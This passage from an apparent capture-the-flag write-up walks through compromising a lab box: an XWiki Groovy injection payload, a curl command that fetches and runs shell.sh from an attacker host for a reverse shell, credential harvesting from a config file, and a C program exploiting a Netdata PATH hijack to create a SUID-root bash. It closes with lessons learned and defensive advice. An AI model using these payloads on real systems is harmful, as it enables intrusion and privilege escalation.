<p>The bug essentially came down to an endpoint accepting user-controlled input in a way that did not properly sanitize injected Groovy code. That meant the application could be tricked into evaluating attacker-supplied code on the server side. Once I understood that, the next step was to first prove code execution with something simple and controlled.</p>
<hr />
<h3><strong>Validating Code Execution</strong></h3>
<p>To confirm the vulnerability, I used a basic payload that attempted to execute the <code>id</code> command.</p>
<pre><code class="language-bash">}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
</code></pre>
<p>At first, it failed. This turned into one of the more useful lessons from the box, because the issue was not that the target was patched and not that the technique was wrong. The issue was my encoding.</p>
<p>I had been relying on Burp’s default shortcut for URL encoding, but I learned the hard way that it does not always encode every character in the way I need for these kinds of payloads. In an exploit path like this, even a small encoding mismatch can completely break execution. So I went back, manually ensured the payload was fully encoded, and resent it.</p>
<p>Once I did that properly, the payload worked.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/30cfe995-e81d-4cea-9126-405ee9d4d29f.png" alt="" style="display:block;margin:0 auto" />

<p>With the corrected encoding, I had confirmed command execution. At that point, I knew that I had a viable path to an initial foothold.</p>
<hr />
<h3><strong>Trying to Convert RCE into a Shell</strong></h3>
<p>The next natural step was to upgrade from simple command execution to an interactive shell. My first instinct was the same as it usually is: use a standard bash reverse shell one-liner.</p>
<p>That failed.</p>
<p>Instead of getting a shell, I started receiving server errors. This was another really useful learning moment, because it forced me to separate two ideas that are easy to conflate:</p>
<ul>
<li><p><strong>I have command execution</strong></p>
</li>
<li><p><strong>My chosen payload is valid in this execution context</strong></p>
</li>
</ul>
<p>Those are not the same thing.</p>
<p>The target was executing Groovy code, and while it was willing to evaluate certain simple commands, it clearly did not like the characters involved in my bash reverse shell one-liner. Things like redirection operators and other shell metacharacters were causing problems even when encoded. So the lesson here was “the interpreter and context are picky, so I need a cleaner way to deliver the payload.”</p>
<p>That is where simplifying the attack path paid off.</p>
<hr />
<h3><strong>Using a Staged Payload Instead of a Complex One-Liner</strong></h3>
<p>Rather than continuing to fight the interpreter with a more and more complicated one-liner, I decided to break the attack into smaller, cleaner steps.</p>
<p>First, I hosted a shell script from my attacker box. Then I used a simple download command on the target:</p>
<pre><code class="language-bash">curl http://&lt;attacker_ip&gt;/shell.sh -o /dev/shm/shell.sh
</code></pre>
<p>After that, I executed it with:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1bf66770-6aa4-4650-9f78-4ac93a08c8a0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">bash /dev/shm/shell.sh
</code></pre>
<p>This worked immediately.</p>
<p>The reason this worked so much better is that the command string itself was now very simple. I was no longer asking the vulnerable application to process a fragile reverse shell one-liner full of characters that might break parsing or execution. I was just telling it to download a file and then run it. That is much cleaner and much more reliable.</p>
<p>This was probably one of the most foundational lessons from the box for me. When I have RCE but the execution context is fragile, I do not need to cram the whole attack into one command. It is often smarter to stage the payload externally and use the vulnerability only to bootstrap execution.</p>
<p>That gave me a shell as:</p>
<pre><code class="language-text">xwiki
</code></pre>
<p>At that point, the initial foothold was complete, and I moved into local enumeration.</p>
<hr />
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Initial Enumeration as xwiki</strong></h3>
<p>Once I landed a shell, I immediately switched into my usual Linux privilege escalation routine.</p>
<p>I started with the basics:</p>
<pre><code class="language-bash">whoami
id
sudo -l
</code></pre>
<p>As expected, I was the <code>xwiki</code> user. <code>sudo -l</code> did not reveal anything useful, so there was no obvious direct sudo-based escalation path.</p>
<p>Next, I wanted to understand which real user accounts on the system had shells.</p>
<pre><code class="language-bash">cat /etc/passwd | grep sh
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c6184189-30b6-4fff-9ab2-3590497a4bd5.png" alt="" style="display:block;margin:0 auto" />

<p>Aside from root, the main interesting local user was <code>oliver</code>. At that point, the question became whether I could find credentials or access material that would let me move from the application account to the real user account.</p>
<p>I checked Oliver’s home directory, but I did not have access. Web application accounts often have access to configuration files, and configuration files often contain credentials.</p>
<hr />
<h3><strong>Searching Application Files for Credentials</strong></h3>
<p>Because the foothold came through XWiki, I began checking application-related files and directories for secrets. I used a quick recursive search for password-like strings.</p>
<pre><code class="language-bash">grep -r pass *
</code></pre>
<p>That search led me to a configuration file:</p>
<pre><code class="language-text">hibernate.cfg.xml
</code></pre>
<p>Inside it, I found a credential that looked promising.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1b11e683-6992-4e50-94c9-4757085212b2.png" alt="" style="display:block;margin:0 auto" />

<p>Application configs often bridge the gap between the service account and a real user account.</p>
<hr />
<h3><strong>Trying the Credential Against Oliver</strong></h3>
<p>My first instinct was to test the password with <code>su</code>:</p>
<pre><code class="language-bash">su oliver
</code></pre>
<p>It failed.</p>
<p>This was another excellent lesson from the box because it would have been easy to conclude that the credential was wrong or unrelated. But instead of discarding it, I tested it over SSH:</p>
<pre><code class="language-bash">ssh oliver@10.129.231.23
</code></pre>
<p>That worked.</p>
<p>That surprised me at first, but it reinforced an important point: credentials do not always behave the same way across every authentication mechanism. The failure of <code>su</code> did <strong>not</strong> prove the password was useless.</p>
<hr />
<h3><strong>Enumerating Internal Services as Oliver</strong></h3>
<p>As <code>oliver</code>, I checked <code>sudo -l</code> again, but there was nothing useful there either. I also did not find anything immediately interesting in the home directory, so I moved to one of the most important Linux post-exploitation habits: checking which services are listening locally.</p>
<pre><code class="language-bash">ss -tuln
</code></pre>
<p>This showed several services bound to localhost, including:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/03fb40c7-2141-401c-9899-04bc2103001b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>19999</strong></p>
</li>
<li><p><strong>8125</strong></p>
</li>
<li><p><strong>45665</strong></p>
</li>
</ul>
<p>These stood out because localhost-bound services are often administrative or internal-only components.</p>
<p>At this point, I wanted to inspect those services from my browser and tools on my attacker machine, so I used SSH port forwarding.</p>
<pre><code class="language-bash">ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23
</code></pre>
<p>That was another nice practical lesson. I had not really internalized before that I could forward multiple ports in one SSH command at once. Once I did that the next step was to investigate the services.</p>
<hr />
<h3><strong>Investigating Netdata on Port 19999</strong></h3>
<p>The first forwarded service I checked was port <code>19999</code>, and it turned out to be <strong>Netdata</strong>.</p>
<p>I was not very familiar with Netdata going into the box, but one good habit I try to stick to is this: when I discover an unfamiliar service, I identify the version if possible and search for known issues.</p>
<p>That led me to documentation describing a vulnerability involving <code>ndsudo</code>, a helper used by Netdata. The weakness came down to path hijacking. The privileged program was invoking certain commands without absolute paths, which meant the resolution of those commands depended on the contents of the <code>PATH</code> environment variable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9205cdff-62ad-4bb3-b943-5c5a75cc2948.png" alt="" style="display:block;margin:0 auto" />

<p>That is dangerous because if I can place a malicious executable with the expected name in a directory I control and ensure that directory is searched first, I can potentially trick the privileged program into running <strong>my</strong> executable instead of the intended system one.</p>
<hr />
<h3><strong>My First Attempt at Exploiting the Path Hijack</strong></h3>
<p>My initial idea was simple: create a malicious script, adjust <code>PATH</code>, and trigger the vulnerable functionality.</p>
<p>That did execute, but the result was disappointing: I was still <code>oliver</code>.</p>
<p>This was one of the best teaching points on the machine because from a distance it looked like the exploit almost worked. I had to stop and ask why a privileged helper would run my payload and still not actually elevate me.</p>
<p>The answer came down to the difference between a <strong>script</strong> and a true <strong>binary executable</strong> in this context.</p>
<hr />
<h3><strong>Why the Script-Based Attempt Failed</strong></h3>
<p>The vulnerable helper expected an executable file. My replacement payload was a script. In situations like this, the way the operating system and interpreter handle scripts can result in privileges being dropped for safety. In other words, even though my file was being invoked, it was not being treated in a way that preserved the privileged execution context I needed.</p>
<p>That was a really useful concept to run into firsthand. It showed me that not every file that is “executable” is functionally equivalent for privilege escalation. Sometimes the distinction between “script interpreted by a shell” and “ELF binary executed directly” matters a lot.</p>
<p>So instead of continuing to force a script-based payload, I moved to a compiled C binary.</p>
<hr />
<h3><strong>Writing a C Payload for Reliable Elevation</strong></h3>
<p>To make the exploit reliable, I wrote a small C program that explicitly set the real and effective user and group IDs to <code>0</code>, then copied <code>/bin/bash</code>, changed ownership to root, and applied SUID permissions.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /home/oliver/neo; chown root:root /home/oliver/neo; chmod 6777 /home/oliver/neo");
}
</code></pre>
<p>I compiled it, named it after the command <code>ndsudo</code> was expecting, and placed it in a writable directory under my control. Then I made sure that directory appeared early in my <code>PATH</code>.</p>
<p>The reason this worked where the script failed is that I was now giving the vulnerable program what it effectively wanted: a true executable binary that would run directly and preserve the privileged context long enough for my code to do its job.</p>
<p>When I triggered the vulnerable Netdata helper, it created my SUID-root copy of bash as intended.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/20194f8a-1f7d-4a98-b5ff-8b3404d8abe7.png" alt="" style="display:block;margin:0 auto" />

<p>Then I simply ran:</p>
<pre><code class="language-bash">./neo -p
whoami
</code></pre>
<p>And got:</p>
<pre><code class="language-text">root
</code></pre>
<hr />
<h1><strong>5. Lessons Learned</strong></h1>
<h3><strong>1. Version disclosure on a CMS is always a potential attack vector.</strong></h3>
<p>Whenever I encounter a CMS or framework and can identify the version, I need to immediately search for known vulnerabilities. That piece of enumeration was the difference between blindly poking at a wiki and turning it into a foothold.</p>
<h3><strong>2. Encoding issues can break a valid exploit path</strong></h3>
<p>I learned a very practical lesson about request encoding here. I had a valid exploit path in front of me, but because the payload was not encoded the way I thought it was, it initially failed.</p>
<h3><strong>3. Simpler payloads are often more reliable than clever ones</strong></h3>
<p>This box reinforced the value of simplifying payloads when the execution context is unstable or picky. I initially tried to force a reverse shell one-liner through Groovy, but it kept breaking. Once I split the attack into smaller steps and staged the payload externally, everything became much more reliable. That is a lesson I expect to reuse often.</p>
<h3><strong>4. Credentials should be tested across multiple access methods</strong></h3>
<p>I got a very useful reminder that credentials should be tested across multiple access methods. The credential I found did not work with <code>su</code>, but it did work over SSH. If I had treated the first failure as definitive, I would have missed the valid pivot.</p>
<h3><strong>5. Internal-only services become part of the attack surface after a foothold</strong></h3>
<p>The box highlighted how important localhost-only services can be after a foothold. It is easy to focus only on what is exposed externally, but once I had user access, internal services became part of the attack surface too. Port forwarding let me inspect that hidden layer of the system much more effectively.</p>
<h3><strong>6. Scripts and compiled binaries are not interchangeable in privileged contexts</strong></h3>
<p>The privilege escalation path taught me an important technical distinction between scripts and compiled binaries in privileged execution contexts. My first exploit attempt was conceptually correct but mechanically wrong. Only when I slowed down and understood why the privilege drop was happening did I realize I needed a real binary rather than a script.</p>
<hr />
<h1><strong>6. Defensive Insight</strong></h1>
<h3><strong>1. Internet-facing CMS platforms need to be patched aggressively</strong></h3>
<p>The most obvious issue was the vulnerable XWiki instance. Running a CMS with a known RCE vulnerability and exposing its version publicly gave an attacker both the target and the roadmap. Keeping internet-facing software patched and reducing version disclosure wherever possible would have significantly improved the defensive posture.</p>
<h3><strong>2. Plaintext credentials in configuration files create easy pivot opportunities</strong></h3>
<p>The application configuration hygiene was also poor. Storing credentials in accessible plaintext configuration files gave the attacker an easy bridge from the service account into a real user account. Sensitive secrets should be stored more securely and access to configuration files should be tightly controlled.</p>
<h3><strong>3. SSH access and credential reuse should be tightly controlled</strong></h3>
<p>On the authentication side, the environment also benefited the attacker by allowing that credential to be used over SSH. Restricting SSH access, enforcing stronger credential hygiene, and limiting where and how service-related secrets can be reused would all reduce the chance of this kind of pivot.</p>
<h3><strong>4. Privileged binaries should never rely on unsafe PATH resolution</strong></h3>
<p>The privilege escalation issue in Netdata was another clear example of why privileged binaries should use absolute paths and avoid unsafe dependence on environment-controlled values like <code>PATH</code>. If a privileged program invokes helper commands, it should do so explicitly and defensively, not in a way that allows a user to influence command resolution.</p>
<h3><strong>5. Localhost-bound services are not automatically safe</strong></h3>
<p>Lastly, the machine is a good reminder that localhost-bound services are not inherently safe. Developers and administrators sometimes treat “listening only on 127.0.0.1” as if it means “not reachable by attackers,” but once a user account is compromised, that assumption breaks down quickly. Internal services still need to be hardened because a foothold often turns them into the next step of the attack chain.</p>
<hr />
<h2><strong>7. Useful Commands</strong></h2>
<pre><code class="language-bash"># Initial Nmap scan
nmap -sC -sV -oN nmap.txt 10.129.231.23

# Vhost enumeration
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

# Directory brute forcing against the main site
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Search for XWiki-related exploits
searchsploit xwiki

# Identify local users with shells
cat /etc/passwd | grep sh

# Search recursively for password-like strings in accessible files
grep -r pass *

# Inspect localhost-bound services
ss -tuln

# Forward multiple internal ports in one SSH command
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

# Stage a reverse shell more reliably via file download
curl http://&lt;attacker_ip&gt;/shell.sh -o /dev/shm/shell.sh
bash /dev/shm/shell.sh
</code></pre>
<hr />
]]></content:encoded></item></channel></rss>